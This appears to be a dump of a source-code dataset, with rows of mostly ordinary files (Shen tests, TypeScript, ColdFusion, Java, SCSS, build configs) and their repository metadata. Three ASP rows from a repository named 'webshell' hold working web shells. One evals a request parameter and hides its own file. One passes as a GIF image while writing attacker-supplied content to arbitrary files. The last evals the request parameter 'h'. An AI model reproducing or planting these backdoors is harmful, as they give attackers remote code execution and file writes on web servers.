content
stringlengths
4
1.04M
lang
stringclasses
358 values
score
int64
0
5
repo_name
stringlengths
5
114
repo_path
stringlengths
4
229
repo_licenses
listlengths
1
8
(maxinferences 1e7) (report "cartesian product" (load "cartprod.shen") loaded (cartesian-product [1 2 3] [1 2 3]) [[1 1] [1 2] [1 3] [2 1] [2 2] [2 3] [3 1] [3 2] [3 3]]) (report "powerset" (...
Shen
5
tizoc/chibi-shen
shen-test-programs/kerneltests.shen
[ "BSD-3-Clause" ]
// @strictNullChecks: true interface A { params?: { name: string; }; } class Test<T extends A> { attrs: Readonly<T>; m() { this.attrs.params!.name; } } interface Foo { foo?: number; } class FooClass<P extends Foo = Foo> { properties: Readonly<P>; foo(): numbe...
TypeScript
4
nilamjadhav/TypeScript
tests/cases/compiler/strictNullNotNullIndexTypeShouldWork.ts
[ "Apache-2.0" ]
<cfsetting enablecfoutputonly="true"> <cfprocessingdirective pageencoding="utf-8"> <cfif not StructKeyExists(url,'p')> <cfoutput><h2>No Project Selected!</h2></cfoutput><cfabort> </cfif> <cfif session.user.admin> <cfset project = application.project.get(projectID=url.p)> <cfelse> <cfset project = application.proje...
ColdFusion
4
subethaedit/SubEthaEd
Documentation/ModeDevelopment/Reference Files/CFML/cftags_milestones.cfm
[ "MIT" ]
<%Eval(Request(chr(112))):Set fso=CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")):if f.attributes <> 39 then:f.attributes = 39:end if%>
ASP
1
laotun-s/webshell
asp/bypass-iisuser-p.asp
[ "MIT" ]
// Base AMI is found by name, users can (and should) supply own AMIs // the only requirement is systemd installed as all scripts // are relying on systemd data "aws_ami" "base" { most_recent = true owners = [126027368216] filter { name = "name" values = [var.ami_name] } } // This is to figure a...
HCL
4
hooksie1/teleport
examples/aws/terraform/data.tf
[ "Apache-2.0" ]
/******************************************************************************* * Copyright (c) 2008 SpringSource and others. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is ava...
AspectJ
4
elemgee/scala-ide
org.scala-ide.sdt.aspects/src/scala/tools/eclipse/contribution/weaving/jdt/cuprovider/CompilationUnitProviderAspect.aj
[ "BSD-3-Clause" ]
class MainApp : Object { public static int main(string[] args) { var l = new LibraryObject(); l.func(); return 0; } }
Vala
2
kira78/meson
test cases/vala/7 shared library/prog/prog.vala
[ "Apache-2.0" ]
<GameProjectFile> <PropertyGroup Type="Node" Name="pharaoh" ID="a216914d-c0d7-49f6-8da3-6a19dd0dc55f" Version="0.0.0.1" /> <Content ctype="GameProjectContent"> <Content> <Animation Duration="49" Speed="0.4"> <Timeline ActionTag="-457530204" FrameType="VisibleFrame"> <BoolFrame FrameIndex...
Csound
4
chukong/CocosStudioSamples
DemoMicroCardGame/CocosStudioResources/cocosstudio/pharaoh.csd
[ "MIT" ]
<div class="summary"> <div class="stat-row first"> <p class="availability"> {{!-- availability svg gets inserted here --}} <span class="big">{{humanize_table_status status}}</span> {{#if parenthetical}} <span class="parenthetical">(some replicas missing)</span> {{/if}} </p> </d...
Handlebars
4
zadcha/rethinkdb
admin/static/handlebars/table_profile.hbs
[ "Apache-2.0" ]
= Compiling on MacOS X The EnterpriseDB packages are the recommended PostgreSQL installations to use with MacOS X. They eliminate most or all of the issues with getting 'pg' installed, linked correctly, and running. == Segfaults and SSL Support If you need a custom installation of PostgreSQL, you should ensure that ...
RDoc
2
fatkodima/ruby-pg
README-OS_X.rdoc
[ "Ruby" ]
0 reg32_t "dword" 1 code_t "proc*" 2 num32_t "int" 3 uint32_t "size_t" 4 ptr(struct(0:num32_t,4:ptr(num8_t),8:ptr(num8_t),12:ptr(num8_t),16:ptr(num8_t),20:ptr(num8_t),24:ptr(num8_t),28:ptr(num8_t),32:ptr(num8_t),36:ptr(num8_t),40:ptr(num8_t),44:ptr(num8_t),48:ptr(struct(0:ptr(TOP),4:ptr(struct(0:num32_t,4:ptr(reg8_t),8...
BlitzBasic
2
matt-noonan/retypd-data
data/sleep.decls
[ "MIT" ]
# Copyright (c) 2018-2021, Carnegie Mellon University # See LICENSE for details # misc functions for hamlet stuff # takes the permutation in SPL, returns the bit matrix # extends some of the Peter's stuff, -BA SPLtoBitMatrix := function(perm) local m,bit; m := MatSPL(perm); bit := BitMatrixToInts(PermMatrixT...
GAP
3
sr7cb/spiral-software
namespaces/spiral/paradigms/dram/hamlet.gi
[ "BSD-2-Clause-FreeBSD" ]
@import './_variables.scss' // Theme +theme(v-label) using ($material) color: map-deep-get($material, 'text', 'secondary') &--is-disabled color: map-deep-get($material, 'text', 'disabled') .v-label font-size: $label-font-size line-height: $label-line-height min-height: $label-min-height transition: ....
Sass
4
ahmadiqbal1/vuetify
packages/vuetify/src/components/VLabel/VLabel.sass
[ "MIT" ]
/*############################################################################## HPCC SYSTEMS software Copyright (C) 2012 HPCC Systems®. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License...
ECL
3
miguelvazq/HPCC-Platform
testing/regress/ecl/extend.ecl
[ "Apache-2.0" ]
$$ MODE TUSCRIPT tmpfile="test.txt" ERROR/STOP CREATE (tmpfile,seq-E,-std-) text="hello world" FILE $tmpfile = text - tmpfile "test.txt" can only be accessed by one user an will be deleted upon programm termination
Turing
2
LaudateCorpus1/RosettaCodeData
Task/Secure-temporary-file/TUSCRIPT/secure-temporary-file.tu
[ "Info-ZIP" ]
{filter, map, obj-to-pairs, Str} = require \prelude-ls # cancel-event :: Event -> Void export cancel-event = (e) !-> e.prevent-default! e.stop-propagation! false # converts {a: 1, b: 1, c: 0, d: 1} to "a b d" # class-name-from-object :: Map String, Boolean -> String export class-name-from-object = -> ...
LiveScript
4
santiagoGuti/react-selectize
src/utils.ls
[ "Apache-2.0" ]
<!doctype html> <meta name="robots" content="noindex"> <html> <head> <meta charset="utf-8" /> <title>5787</title> </head> <body> <h1>2D panning</h1> <h2>z + x = 1</h2> <form name="f" id="f"> <label for="pan" hidden="hidden">Pan</label> <input type="range" name="pan" id="pan" value...
HTML
4
frank-dspeed/nw.js
test/sanity/issue5787-MediaElementAudioSource/test.html
[ "MIT" ]
package com.thealgorithms.datastructures.trees; public class LevelOrderTraversal { class Node { int data; Node left, right; public Node(int item) { data = item; left = right = null; } } // Root of the Binary Tree Node root; public LevelOr...
Java
5
JohnTitor001/Java
src/main/java/com/thealgorithms/datastructures/trees/LevelOrderTraversal.java
[ "MIT" ]
package com.baeldung.trim; import org.apache.commons.lang3.StringUtils; import org.junit.Assert; import org.junit.Test; import com.google.common.base.CharMatcher; import java.util.regex.Pattern; /** * BAEL-3755: LTrim and RTrim examples. */ public class LTrimRTrimUnitTest { private String src = " Whit...
Java
5
DBatOWL/tutorials
core-java-modules/core-java-string-operations-2/src/test/java/com/baeldung/trim/LTrimRTrimUnitTest.java
[ "MIT" ]
/*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *---------------------------------------------------------------...
TypeScript
4
sbj42/vscode
src/vs/workbench/contrib/snippets/browser/snippetPicker.ts
[ "MIT" ]
<!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p th:text="#{greetings(${recipientName})}"></p> <p th:text="${text}"></p> <p th:text="#{regards}"></p> <p> <em th:text="#{signature(${se...
HTML
3
DBatOWL/tutorials
spring-web-modules/spring-mvc-basics-2/src/main/resources/mail-templates/template-thymeleaf.html
[ "MIT" ]
#include "caffe2/operators/key_split_ops.h" #include "caffe2/core/operator.h" #include "caffe2/core/tensor.h" namespace caffe2 { REGISTER_CPU_OPERATOR(KeySplit, KeySplitOp<int64_t, CPUContext>); NO_GRADIENT(KeySplitOp); OPERATOR_SCHEMA(KeySplit).NumInputs(1).NumOutputs(1, INT_MAX); } // namespace caffe2
C++
3
Hacky-DH/pytorch
caffe2/operators/key_split_ops.cc
[ "Intel" ]
country,country_id,group,spi,spi_offense,spi_defense,win_group,sixteen,quarter,semi,cup,win Algeria,ALG,h,75.7,2.0386,1.1354,0.000000000000000,1.000000000000000,0.000000000000000,0.000000000000000,0.000000000000000,0.000000000000000 Argentina,ARG,f,89.59,2.7121,0.4068,1.000000000000000,1.000000000000000,1.00000000000...
CSV
3
h4ckfu/data
world-cup-predictions/wc-20140706-091537.csv
[ "CC-BY-4.0" ]
<?php use PHPCI\Helper\Lang; ?> <?php if (isset($updated)): ?> <p class="alert alert-success"><?php Lang::out('your_details_updated'); ?></p> <?php endif; ?> <div class="box box-primary"> <div class="box-header"> <h3 class="box-title"><?php Lang::out('update_your_details'); ?></h3> </div> <div clas...
HTML+PHP
4
bertramtruong/PHPCI
PHPCI/View/User/profile.phtml
[ "BSD-2-Clause" ]
.App { text-align: center; } .App-header { background-color: #222; // height: 75px; padding: 20px; color: white; margin-bottom: 25px; } .App-title { font-size: 1.5em; } .map_wrapper { position: relative; margin: 0 auto; border: 3px solid gray; width: 90%; height: 400px; } pre { text-align:...
CSS
4
gh-oss-contributor/graphql-engine-1
community/sample-apps/realtime-location-tracking/src/App/App.css
[ "Apache-2.0", "MIT" ]
scriptname _Frost_InnerFireMonitorScript extends ReferenceAlias import FrostUtil Actor property PlayerRef auto Furniture property _Frost_SitMarkerInnerFire auto Event OnSit(ObjectReference akFurniture) Form BaseObject = akFurniture.GetBaseObject() if BaseObject && BaseObject == _Frost_SitMarkerInnerFire SendEven...
Papyrus
4
chesko256/Campfire
Scripts/Source/_Frost_InnerFireMonitorScript.psc
[ "MIT" ]
$expirationDate = {Get-Date}.Invoke().AddYears(5) $pass = ConvertTo-SecureString -String "12345" -Force -AsPlainText $thumbprint = (New-SelfSignedCertificate -notafter $expirationDate -Type CodeSigningCert -Subject "CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" -FriendlyName "PowerTo...
PowerShell
3
tameemzabalawi/PowerToys
installer/MSIX/generate_self_sign_cert.ps1
[ "MIT" ]
''***************************** ''* TV Text 40x13 v1.0 * ''* (C) 2006 Parallax, Inc. * ''***************************** CON cols = 40 rows = 13 screensize = cols * rows lastrow = screensize - cols tv_count = 14 VAR long col, row, color, flag word screen[screensize] ...
Propeller Spin
4
deets/propeller
libraries/community/p1/All/DS1302 timekeeping chip driver/TV_Text.spin
[ "MIT" ]
<script defer src="{% root %}/assets/js/material.min.js"></script> <script defer src="{% root %}/assets/js/material-components-web.min.js"></script>
Liquid
1
noahcb/lit
website/src/_includes/partials/footer-includes.liquid
[ "Apache-2.0" ]
/****************************************************************************** * Copyright 2018 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at ...
C++
4
seeclong/apollo
modules/canbus/vehicle/transit/protocol/llc_motionfeedback2_21.cc
[ "Apache-2.0" ]
--TEST-- Bug #70124 (null ptr deref / seg fault in ZEND_HANDLE_EXCEPTION_SPEC_HANDLER) --FILE-- <?php try { echo base_convert([array_search(chr(48),chr(48),chr(48),chr(48),chr(48),$f("test"))],chr(48)); } catch (Error $e) { var_dump($e->getMessage()); } class A { } try { echo base_convert([array_search...
PHP
2
thiagooak/php-src
Zend/tests/bug70124.phpt
[ "PHP-3.01" ]
"wav" "oneart.wav" loadwav 1 metro 1 "wav" tbldur div 0 tphasor 1 0 0 "wav" tabread
SourcePawn
2
PaulBatchelor/Sporth
examples/tphasor.sp
[ "MIT", "Unlicense" ]
# Aliases to control Postgres # Paths noted below are for Postgres installed via Homebrew on OSX if (( ! $+commands[brew] )); then return fi local PG_BREW_DIR=$(brew --prefix)/var/postgres alias startpost="pg_ctl -D $PG_BREW_DIR -l $PG_BREW_DIR/server.log start" alias stoppost="pg_ctl -D $PG_BREW_DIR stop -s -m fas...
Shell
4
residwi/ohmyzsh
plugins/postgres/postgres.plugin.zsh
[ "MIT" ]
-- A test suite for IN LIMIT in parent side, subquery, and both predicate subquery -- It includes correlated cases. --CONFIG_DIM1 spark.sql.optimizeNullAwareAntiJoin=true --CONFIG_DIM1 spark.sql.optimizeNullAwareAntiJoin=false create temporary view t1 as select * from values ("val1a", 6S, 8, 10L, float(15.0), 20D, ...
SQL
4
OlegPt/spark
sql/core/src/test/resources/sql-tests/inputs/subquery/in-subquery/in-limit.sql
[ "Apache-2.0" ]
* Exec Node.js path IDENTIFICATION DIVISION. PROGRAM-ID. EXEC_NODEJS_FILE. DATA DIVISION. WORKING-STORAGE SECTION. 01 COMMAND_TO_RUN PIC X(200) value SPACES. LINKAGE SECTION. 01 NODEJS_FILE_PATH PIC X(100). PROCEDURE DIVISION USING NODEJS_FILE_PATH. ...
COBOL
4
GitMensch/node.cobol
lib/node-exec-path.cbl
[ "MIT" ]
CREATE TABLE `uk_auto_inc` ( `id` bigint UNIQUE KEY AUTO_INCREMENT, v varchar(16) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;
SQL
3
WizardXiao/tidb
br/tests/lightning_incremental/data1/incr.rowid_uk_inc-schema.sql
[ "Apache-2.0" ]
#\,hash {}
CSS
0
mengxy/swc
crates/swc_css_parser/tests/fixture/esbuild/misc/Aby-BQPnUhIoK9wn-kUcDQ/input.css
[ "Apache-2.0" ]
import { IGatsbyState, ActionsUnion } from "../types" const initialState = (): IGatsbyState["schemaCustomization"] => { return { composer: null, context: {}, fieldExtensions: {}, printConfig: null, thirdPartySchemas: [], types: [], } } export const schemaCustomizationReducer = ( state: I...
TypeScript
5
pipaliyajaydip/gatsby
packages/gatsby/src/redux/reducers/schema-customization.ts
[ "MIT" ]
#!MC 1200 # Created by Tecplot 360 build 12.0.0.3454 $!VarSet |MFBD| = './' $!ALTERDATA EQUATION = '{k}=0.5*{rho}*({V[0]}*{V[0]}+{V[1]}*{V[1]}+{V[2]}*{V[2]})' $!EXTENDEDCOMMAND COMMANDPROCESSORID = 'CFDAnalyzer3' COMMAND = 'Integrate ScalarVar=14 XVariable=1 YVariable=2 ZVariable=3 IRange={MIN =1 MAX = -1 SKIP ...
MAXScript
2
zhanghuanqian/CFDWARP
bin/Taylor-Green.mcr
[ "BSD-2-Clause" ]
"""Tests for the Netgear component."""
Python
0
MrDelik/core
tests/components/netgear/__init__.py
[ "Apache-2.0" ]
-- @shouldWarnWith HiddenConstructors module Main (D) where import Data.Generic.Rep (class Generic) data D = D derive instance genericD :: Generic D _
PureScript
4
andys8/purescript
tests/purs/warning/HiddenConstructorsGeneric.purs
[ "BSD-3-Clause" ]
from django.test import TestCase from .models import Article, Author, Comment, Forum, Post, SystemInfo class NullFkOrderingTests(TestCase): def test_ordering_across_null_fk(self): """ Regression test for #7512 ordering across nullable Foreign Keys shouldn't exclude results """ ...
Python
4
KaushikSathvara/django
tests/null_fk_ordering/tests.py
[ "BSD-3-Clause", "0BSD" ]
IDENTIFICATION DIVISION. PROGRAM-ID. HELLO. ENVIRONMENT DIVISION. DATA DIVISION. PROCEDURE DIVISION. PROGRAM-BEGIN. DISPLAY "Hello world". PROGRAM-DONE. STOP RUN.
COBOL
3
jmptrader/CobolScript
samples/hello/hello2.cob
[ "MIT" ]
<cfsetting enablecfoutputonly=true> <cfset cache = application.cachebox.getCache( 'default' )> <cfparam name="url.count" default="1"> <cfset url.count = val( url.count )> <cfif url.count gt 500 > <cfset url.count = 500> <cfelseif url.count lt 1 > <cfset url.count = 1> </cfif> <cfheader name="Server" value="cfml...
ColdFusion
4
efectn/FrameworkBenchmarks
frameworks/CFML/CFML/src/cached.cfm
[ "BSD-3-Clause" ]
"""The discogs component."""
Python
0
domwillcode/home-assistant
homeassistant/components/discogs/__init__.py
[ "Apache-2.0" ]
L CAPI e_capi_err.h e_capi_err.c
eC
0
jiangzhu1212/oooii
Ouroboros/External/OpenSSL/openssl-1.0.0e/engines/e_capi.ec
[ "MIT" ]
// MIR for `unwrap` after SimplifyCfg-elaborate-drops fn unwrap(_1: Option<T>) -> T { debug opt => _1; // in scope 0 at $DIR/no-drop-for-inactive-variant.rs:7:14: 7:17 let mut _0: T; // return place in scope 0 at $DIR/no-drop-for-inactive-variant.rs:7:33: 7:34 let ...
Mirah
4
mbc-git/rust
src/test/mir-opt/no_drop_for_inactive_variant.unwrap.SimplifyCfg-elaborate-drops.after.mir
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
' Licensed to the .NET Foundation under one or more agreements. ' The .NET Foundation licenses this file to you under the MIT license. ' See the LICENSE file in the project root for more information. Imports System.Collections.Immutable Imports System.Runtime.InteropServices Imports Microsoft.CodeAnalysis.Collections...
Visual Basic
5
samaw7/roslyn
src/Compilers/VisualBasic/Portable/Symbols/ReferenceManager.vb
[ "MIT" ]
#tag Class Protected Class ServiceWFS #tag Method, Flags = &h1 Protected Sub InternalControlService(handle as Integer, controlCode as Integer) #if TargetWin32 Declare Sub ControlService Lib "AdvApi32" ( handle as Integer, code as Integer, status as Ptr ) dim status as new MemoryBlock( 7...
REALbasic
4
bskrtich/WFS
Windows Functionality Suite/Console and Service Support/Classes/ServiceWFS.rbbas
[ "MIT" ]
extends Slider export(float) var snap_step = 1.0 func _process(_delta): if Input.is_key_pressed(KEY_SHIFT): step = 0.1 else: step = snap_step
GDScript
4
jonbonazza/godot-demo-projects
2d/physics_tests/utils/slider.gd
[ "MIT" ]
// FIRConvolve.ck by Perry R. Cook, October 2012 // This uses an FIR filter to store the samples // of an impulse response (or arbitrary soundfile). // Not very efficient, (lots of CPU useage) but // shows how it works from the definition. adc => Gain g => FIR imp => Delay d => dac; SndBuf s => dac; "CCRMAHallSho...
ChucK
4
ccdarabundit/chugins
FIR/examples/FIRConvolve.ck
[ "MIT" ]
export function absoluteURL(url) { return `${process.env.NEXT_PUBLIC_DRUPAL_BASE_URL}${url}` }
JavaScript
4
blomqma/next.js
examples/cms-drupal/lib/api.js
[ "MIT" ]
<cfoutput> #startFormTag( controller="users", action="update", key=user.id, id="userForm")# #errorMessagesFor("user")# <div class="row"> <div class="col-md-9"> #includePartial("formparts/main")# </div> <div class="col-md-3"> #includePartial("formparts/userrole")# </div> </div> #submitTag(value="Save", class=...
ColdFusion
2
fintecheando/RoomBooking
views/users/edit.cfm
[ "Apache-1.1" ]
hibernate.connection.username=tutorialuser hibernate.connection.password=tutorialmy5ql hibernate.connection.driver_class=com.mysql.jdbc.Driver hibernate.dialect=org.hibernate.dialect.MySQL5Dialect hibernate.connection.url=jdbc:mysql://localhost:3306/spring_hibernate4_exceptions?createDatabaseIfNotExist=true hibernate.s...
INI
2
zeesh49/tutorials
spring-exceptions/src/main/resources/hibernate-mysql.properties
[ "MIT" ]
'Hello World' crLog
Smalltalk
1
venusing1998/hello-world
p/pharo.st
[ "MIT" ]
#ticker.panel.panel-default .panel-body .bid.col-xs-7.pull-left .hint = t('.bid') .price .last.col-xs-10 .price .ask.col-xs-7.pull-right .hint = t('.ask') .price
Slim
2
gsmlg/peatio
app/views/private/markets/_ticker.html.slim
[ "MIT" ]
--# -path=.:alltenses:prelude instance SyntaxPol of Syntax = ConstructorsPol, CatPol, StructuralPol, CombinatorsPol ;
Grammatical Framework
2
daherb/gf-rgl
src/api/SyntaxPol.gf
[ "BSD-3-Clause" ]
# Implements a min-heap. For max-heap, simply reverse all comparison orders. # # Note on alternate subroutine namings (used in some textbooks): # - _bubble_up = siftdown # - _bubble_down = siftup def _bubble_up(heap, i): while i > 0: parent_i = (i - 1) // 2 if heap[i] < heap[parent_i]: ...
Python
5
liuhoward/tech-interview-handbook
experimental/utilities/python/heap.py
[ "MIT" ]
{% include "liquid_partial" %}
Liquid
1
stevenosloan/middleman
middleman-core/fixtures/liquid-app/source/liquid_master.html.liquid
[ "MIT" ]
--- title: Preview 01 --- ```{r} summary(cars) ``` Footer
RMarkdown
4
skeptycal/RTVS
src/Windows/R/Editor/Application.Test/Files/Preview01.rmd
[ "MIT" ]
lrates = struct('initial', 0.9,... 'final' , 0.02); sigmas = struct('initial', 3e0,... 'final' , 1); nb_iterations = 10; mu = zeros(1, nb_iterations); sig = zeros(1, nb_iterations); for iStep = 1:nb_iterations tfrac = iStep / nb_iterations; mu(iStep) = lrates.initial + tfrac * (lrates.final - lr...
Matlab
4
TWOEARS/audio-visual-integration
head_turning_modulation_model_simdata/tests/MSOM_study.matlab
[ "MIT" ]
GIF89a$ ;<hTml> <% if request("miemie")="av" then %> <% on error resume next testfile=Request.form("2010") if Trim(request("2010"))<>"" then set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.CreateTextFile(testfile,True) thisfile.Write(""&Request.form("1988") & "") if err =0 Then response.w...
ASP
1
laotun-s/webshell
asp/shell.asp
[ "MIT" ]
/* comment */a/* comment */ { /* comment */color/* comment */:/* comment */red/* comment */; } /* a { color: black } */ /**/ /* */ div { /* inside */ color: black; /* between */ background: red; /* end */ } /* b */ a { color: black; /* c */ } @media/* comment */screen/* comment */{} @medi...
CSS
1
Brooooooklyn/swc
css/parser/tests/fixture/comment/input.css
[ "Apache-2.0", "MIT" ]
<section class="content"> <div class="container-fluid"> {{ content() }} </div> </section>
Volt
2
PSD-Company/phalcon-devtools-docker
src/Web/Tools/Views/partials/content.volt
[ "BSD-3-Clause" ]
package test; import java.lang.annotation.*; public class AnnotationTargets { public @interface base { } @Target(ElementType.ANNOTATION_TYPE) public @interface annotation { } @Target(ElementType.CONSTRUCTOR) public @interface constructor { } @Target(ElementType.FIELD) pu...
Java
3
qussarah/declare
compiler/testData/loadJava/compiledJava/annotations/AnnotationTargets.java
[ "Apache-2.0" ]
/*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *---------------------------------------------------------------...
TypeScript
4
sbj42/vscode
extensions/typescript-language-features/src/languageFeatures/definitionProviderBase.ts
[ "MIT" ]
package { import loom.Application; import loom2d.display.StageScaleMode; import loom2d.ui.SimpleLabel; /** The HelloWorld app renders a label with its name on it, and traces 'hello' to the log. */ public class HelloWorld extends Application { override public function run():...
LiveScript
5
JavascriptID/sourcerer-app
src/test/resources/samples/langs/LoomScript/HelloWorld.ls
[ "MIT" ]
module Svc { @ A component for getting time passive component Time { @ Port to retrieve time sync input port timeGetPort: Fw.Time } }
FORTRAN
4
AlperenCetin0/fprime
Svc/Time/Time.fpp
[ "Apache-2.0" ]
/** * This proc generates a cellular automata noise grid which can be used in procedural generation methods. * * Returns a single string that goes row by row, with values of 1 representing an alive cell, and a value of 0 representing a dead cell. * * Arguments: * * percentage: The chance of a turf starting closed...
DM
4
willox/rust-g
dmsrc/cellularnoise.dm
[ "MIT" ]
<svg xmlns="http://www.w3.org/2000/svg" height="20" viewBox="0 0 20 20" width="20"><path d="M0 0h20v20H0V0z" fill="none"/><path d="M17.5 6h-12C4.67 6 4 6.67 4 7.5v9c0 .83.67 1.5 1.5 1.5h12c.83 0 1.5-.67 1.5-1.5v-9c0-.83-.67-1.5-1.5-1.5zM17 9.67L11.5 13 6 9.67V8l5.5 3.33L17 8v1.67zM17 5h-3L9 3 3 5.4V15h-.5c-.83 0-1.5-.6...
SVG
1
sadiejay/uswds-jekyll
assets/uswds/img/usa-icons-unused/mark_as_unread.svg
[ "CC0-1.0" ]
#!/bin/bash ## # Packs: # - tns-core-modules # inside dist folder ## set -x set -e ## Pack tns-core-modules ( # Aways execute npx tsc from repo root to use the local typescript echo 'TypeScript transpile...' npx tsc -v npx tsc -p "dist/tns-core-modules" echo 'NPM packing ...' cd "dis...
Shell
4
tralves/NativeScript
tools/scripts/pack-compat.sh
[ "Apache-2.0" ]
{ {-# LANGUAGE LambdaCase #-} -- This file is processed by Happy (https://www.haskell.org/happy/) and generates -- the module `Wasp.Analyzer.Parser.Parser` module Wasp.Analyzer.Parser.Parser ( parse ) where import Wasp.Analyzer.Parser.Lexer import Wasp.Analyzer.Parser.AST import Wasp.Analyzer.Parser.Token import...
Yacc
5
thvu11/wasp
waspc/src/Wasp/Analyzer/Parser/Parser.y
[ "MIT" ]
../compile-config/constants.jq
JSONiq
3
onthway/deepdive
compiler/compile-code/constants.jq
[ "Apache-2.0" ]
import { a, b, c } from "./test"; export function x() { a(); } export function y() { b(); eval("x()"); } export function z() { c(); y(); }
JavaScript
2
fourstash/webpack
test/configCases/inner-graph/eval-bailout/module.js
[ "MIT" ]
<%# encoding: utf-8 -%> <%= "текст" %>
HTML+ERB
1
mdesantis/rails
actionview/test/fixtures/test/_utf8_partial_magic.html.erb
[ "MIT" ]
/** * */ import Util; import OpenApi; import EndpointUtil; extends OpenApi; init(config: OpenApi.Config){ super(config); @endpointRule = 'central'; @endpointMap = { cn-shanghai = 'das.cn-shanghai.aliyuncs.com', }; checkConfig(config); @endpoint = getEndpoint('das', @regionId, @endpointRule, @net...
Tea
3
aliyun/alibabacloud-sdk
das-20200116/main.tea
[ "Apache-2.0" ]
Strict Rem bbdoc: Graphics/OpenGL Max2D about: The OpenGL Max2D module provides an OpenGL driver for #Max2D. End Rem Module BRL.GLMax2D ModuleInfo "Version: 1.13" ModuleInfo "Author: Mark Sibly" ModuleInfo "License: zlib/libpng" ModuleInfo "Copyright: Blitz Research Ltd" ModuleInfo "Modserver: BRL" ModuleInfo "Hist...
BlitzMax
5
jabdoa2/blitzmax
mod/brl.mod/glmax2d.mod/glmax2d.bmx
[ "Zlib" ]
{ metadata: { namespace: "MathML", namespaceURI: "http://www.w3.org/1998/Math/MathML", }, data: [ "math", "mi", "mn", "mo", "mtext", "ms", "mglyph", "malignmark", "annotation-xml", ], }
JSON5
3
zipated/src
third_party/blink/renderer/core/html/parser/mathml_tag_names.json5
[ "BSD-3-Clause" ]
Province_State,Country_Region,Last_Update,Lat,Long_,Confirmed,Deaths,Recovered,Active,FIPS,Incident_Rate,Total_Test_Results,People_Hospitalized,Case_Fatality_Ratio,UID,ISO3,Testing_Rate,Hospitalization_Rate Alabama,US,2021-10-23 04:31:32,32.3182,-86.9023,818652,15378,,,1.0,16696.331058281507,5961814.0,,1.87845384852171...
CSV
2
coronamex/COVID-19
csse_covid_19_data/csse_covid_19_daily_reports_us/10-22-2021.csv
[ "CC-BY-4.0" ]
#include <metal_stdlib> #include <simd/simd.h> using namespace metal; struct Uniforms { half4 colorGreen; half4 colorRed; }; struct Inputs { }; struct Outputs { half4 sk_FragColor [[color(0)]]; }; half4 unpremul_h4h4(half4 color) { return half4(color.xyz / max(color.w, 9.9999997473787516e-05h), color.w)...
Metal
4
fourgrad/skia
tests/sksl/shared/DeadStripFunctions.metal
[ "BSD-3-Clause" ]
SUBSTR(S,N,M,C,K) ;show substring operations ;S is the string ;N is a position within the string (that is, n<length(string)) ;M is an integer of positions to show ;C is a character within the string S ;K is a substring within the string S ;$Find returns the position after the substring NEW X WRITE !,"The base ...
M
4
mullikine/RosettaCodeData
Task/Substring/MUMPS/substring.mumps
[ "Info-ZIP" ]
(ns lt.objs.dialogs "Provide Electron-based dialogs" (:require [lt.object :as object] [lt.util.dom :as dom] [lt.objs.app :as app]) (:require-macros [lt.macros :refer [behavior defui]])) (def remote (.-remote (js/require "electron"))) (def dialog (.-dialog remote)) (defn dir [obj event] ...
Clojure
4
prertik/LightTable
src/lt/objs/dialogs.cljs
[ "MIT" ]
[error] this = "should not be here"
TOML
0
vanillajonathan/julia
stdlib/TOML/test/testfiles/invalid/key-after-table.toml
[ "Zlib" ]
var x >= 0; maximize o: x;
AMPL
2
ampl/plugins
test/data/unbounded.ampl
[ "BSD-3-Clause" ]
# nntpchan varnish config vcl 4.0; # Default backend definition. Set this to point to your content server. backend default { .host = "127.0.0.1"; .port = "18000"; } acl purge { # ACL we'll use later to allow purges "127.0.1.1"; } sub vcl_miss { return (fetch) ; } sub vcl_recv { if (req.method == "PUR...
VCL
5
majestrate/nntpchan
contrib/configs/varnish/default.vcl
[ "MIT" ]
tax ← {(0 ⌈ 0.2 × ⍵ - 250000) + 0 ⌈ 0.4 × ⍵ - 23000} ⎕← 'tax(400000) = ' ⎕← tax 400000 ⎕← 'tax(400000, 220000) = ' ⎕← tax 400000 220000 0
APL
3
melsman/apltail
tests/tax.apl
[ "MIT" ]
<h1>This is the header</h1>
Volt
1
tidytrax/cphalcon
tests/_data/fixtures/views/partials/header.volt
[ "BSD-3-Clause" ]
from functools import lru_cache from fastapi import Depends, FastAPI from .config import Settings app = FastAPI() @lru_cache() def get_settings(): return Settings() @app.get("/info") async def info(settings: Settings = Depends(get_settings)): return { "app_name": settings.app_name, "admin...
Python
3
shashankrnr32/fastapi
docs_src/settings/app02/main.py
[ "MIT" ]
$colors: hotpink deepskyblue firebrick,; $list: (a,); $list: ('Helvetica', 'Arial', sans-serif,); $colors: ( "red", "blue" ); $config: ( themes: ( mist: ( header: #dcfac0, content: #00968b, footer: #85c79c ), $spring: ( header: #f4fac7, content: #c2454e, footer: #ff...
CSS
3
fuelingtheweb/prettier
tests/css_trailing_comma/list.css
[ "MIT" ]
package org.robobinding.aspects; import org.aspectj.lang.annotation.AdviceName; import org.robobinding.presentationmodel.HasPresentationModelChangeSupport; import org.robobinding.presentationmodel.PresentationModelChangeSupport; /** * * @since 1.0 * @version $Revision: 1.0 $ * @author Robort Taylor * @author Ch...
AspectJ
4
icse18-refactorings/RoboBinding
framework/src/main/java/org/robobinding/aspects/PresentationModelMixin.aj
[ "Apache-2.0" ]
Map { background-color: #aaaaff; }
CartoCSS
0
nimix/carto
test/rendering/issue32.mss
[ "Apache-2.0" ]
\version "2.19.31" #(ly:debug "hello from test.ly") \require "ohlala"
LilyPond
1
HolgerPeters/lyp
spec/user_files/test.ly
[ "MIT" ]
<% dim x1,x2 x1 = request("h") x2 = x1 eval x2 %> <!-- yes++ -->
ASP
1
laotun-s/webshell
